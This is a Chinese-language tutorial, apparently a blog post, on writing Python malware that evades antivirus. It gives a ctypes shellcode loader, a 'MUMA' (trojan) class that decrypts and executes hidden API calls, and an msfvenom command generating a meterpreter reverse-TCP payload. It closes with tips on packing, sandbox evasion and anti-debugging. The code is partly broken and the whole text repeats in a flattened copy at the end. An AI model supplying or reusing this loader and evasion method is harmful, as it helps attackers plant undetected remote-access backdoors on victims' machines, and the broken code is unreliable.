python自写加密免杀初尝试
字数 635 2025-08-07 00:35:04

Python自写加密免杀技术详解

1. 加密原理与实现

1.1 加密流程

  1. 字符转换
    • 输入字符 → ASCII码 → 八进制表示
  2. 密钥生成
    • 使用"我喜欢你"字符串 → ASCII码 → 数字去重
  3. 索引映射
    • 将八进制数据根据密钥数字获取索引值存入列表
  4. 多层加密
    • 进行三次异或操作(时间戳+CPU信息)
    • 与时间戳进行数学运算
  5. 最终替换
    • 将数字替换为特定符号生成花式密文

1.2 解密类设计

class EZH:
    def hysy(self, sc, cpuzy, sjc):
        # 解密实现代码
        # 包含逆向的异或运算和时间戳处理
        return decrypted_data

2. Shellcode免杀实现

2.1 基础Shellcode加载

import ctypes
import base64

# MSF生成的base64加密shellcode
s = '''\x2f\x4f\x69\x50\x41...'''
shellcode = base64.b64decode(s)

# 内存操作
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

2.2 敏感函数加密方案

  1. 分段加密

    • Shellcode分多段使用不同密钥加密
    • 每段使用不同的时间戳和CPU信息作为盐值
  2. 动态解密执行

# 加密后的shellcode
sc = '加密后的字符串'
cpuzy = 352
sjc = 1652436404
emdgs = EZH().hysy(sc=sc, cpuzy=cpuzy, sjc=sjc)
ba = base64.b64decode(emdgs)

# 加密内存操作函数
wm1 = '加密的VirtualAlloc调用'
cpu_x = 3462
sjc_x = 1652439982
mm = EZH().hysy(sc=wm1, cpuzy=cpu_x, sjc=sjc_x)
exec(mm)

3. 完整免杀实现类

import ctypes  
import base64  
import em  

class MUMA():  
    def zx(self):  
        # 打印混淆日志
        log = '''艺术性混淆文本...'''  
        print(log)  
        
        # 分段解密执行
        sc = '加密shellcode'  
        cpuzy = '352'  
        sjc = '1652436404'  
        emdgs = em.EZH.hysy(sc=sc, cpuzy=int(cpuzy), sjc=int(sjc))  
        shellcode = base64.b64decode(emdgs)  
        
        wm1 = '加密的VirtualAlloc'  
        mm = em.EZH.hysy(sc=wm1, cpuzy=3462, sjc=1652439982)  
        
        app = '加密的RtlMoveMemory'  
        zx = em.EZH.hysy(sc=app, cpuzy=9735, sjc=1652439328)  
        exec(zx)  
        
        mw = '加密的CreateThread'  
        mmmm = em.EZH.hysy(sc=mw, cpuzy=28248, sjc=1652439853)  
        handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)  
        exec(mmmm)  
        
    def zxcx(self):  
        self.zx()  

if __name__ == '__main__':  
    MUMA().zxcx()

4. 关键技术与注意事项

  1. 加密要点

    • 使用多层异或运算增加破解难度
    • 结合时间戳和硬件信息实现动态密钥
    • 关键函数名和调用过程全部加密
  2. 免杀技巧

    • 使用PyInstaller打包增加分析难度
    • 添加无害的打印信息混淆分析
    • 分离shellcode与加载逻辑
  3. 注意事项

    • 不同环境的时间戳和CPU信息可能变化
    • 过长的加密字符串可能导致性能问题
    • 需测试不同杀软的实际检测效果
  4. 生成shellcode命令

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.132 lport=6666 --encrypt base64 -f c

5. 扩展思路

  1. 可增加反调试技术
  2. 结合进程注入等更多隐蔽技术
  3. 使用域名而非IP增加隐蔽性
  4. 添加沙箱检测和规避逻辑

此方案通过自定义加密算法和关键函数动态解密,有效规避了静态特征检测,结合Python的灵活性实现了较好的免杀效果。

Python自写加密免杀技术详解 1. 加密原理与实现 1.1 加密流程 字符转换 : 输入字符 → ASCII码 → 八进制表示 密钥生成 : 使用"我喜欢你"字符串 → ASCII码 → 数字去重 索引映射 : 将八进制数据根据密钥数字获取索引值存入列表 多层加密 : 进行三次异或操作(时间戳+CPU信息) 与时间戳进行数学运算 最终替换 : 将数字替换为特定符号生成花式密文 1.2 解密类设计 2. Shellcode免杀实现 2.1 基础Shellcode加载 2.2 敏感函数加密方案 分段加密 : Shellcode分多段使用不同密钥加密 每段使用不同的时间戳和CPU信息作为盐值 动态解密执行 : 3. 完整免杀实现类 4. 关键技术与注意事项 加密要点 : 使用多层异或运算增加破解难度 结合时间戳和硬件信息实现动态密钥 关键函数名和调用过程全部加密 免杀技巧 : 使用PyInstaller打包增加分析难度 添加无害的打印信息混淆分析 分离shellcode与加载逻辑 注意事项 : 不同环境的时间戳和CPU信息可能变化 过长的加密字符串可能导致性能问题 需测试不同杀软的实际检测效果 生成shellcode命令 : 5. 扩展思路 可增加反调试技术 结合进程注入等更多隐蔽技术 使用域名而非IP增加隐蔽性 添加沙箱检测和规避逻辑 此方案通过自定义加密算法和关键函数动态解密,有效规避了静态特征检测,结合Python的灵活性实现了较好的免杀效果。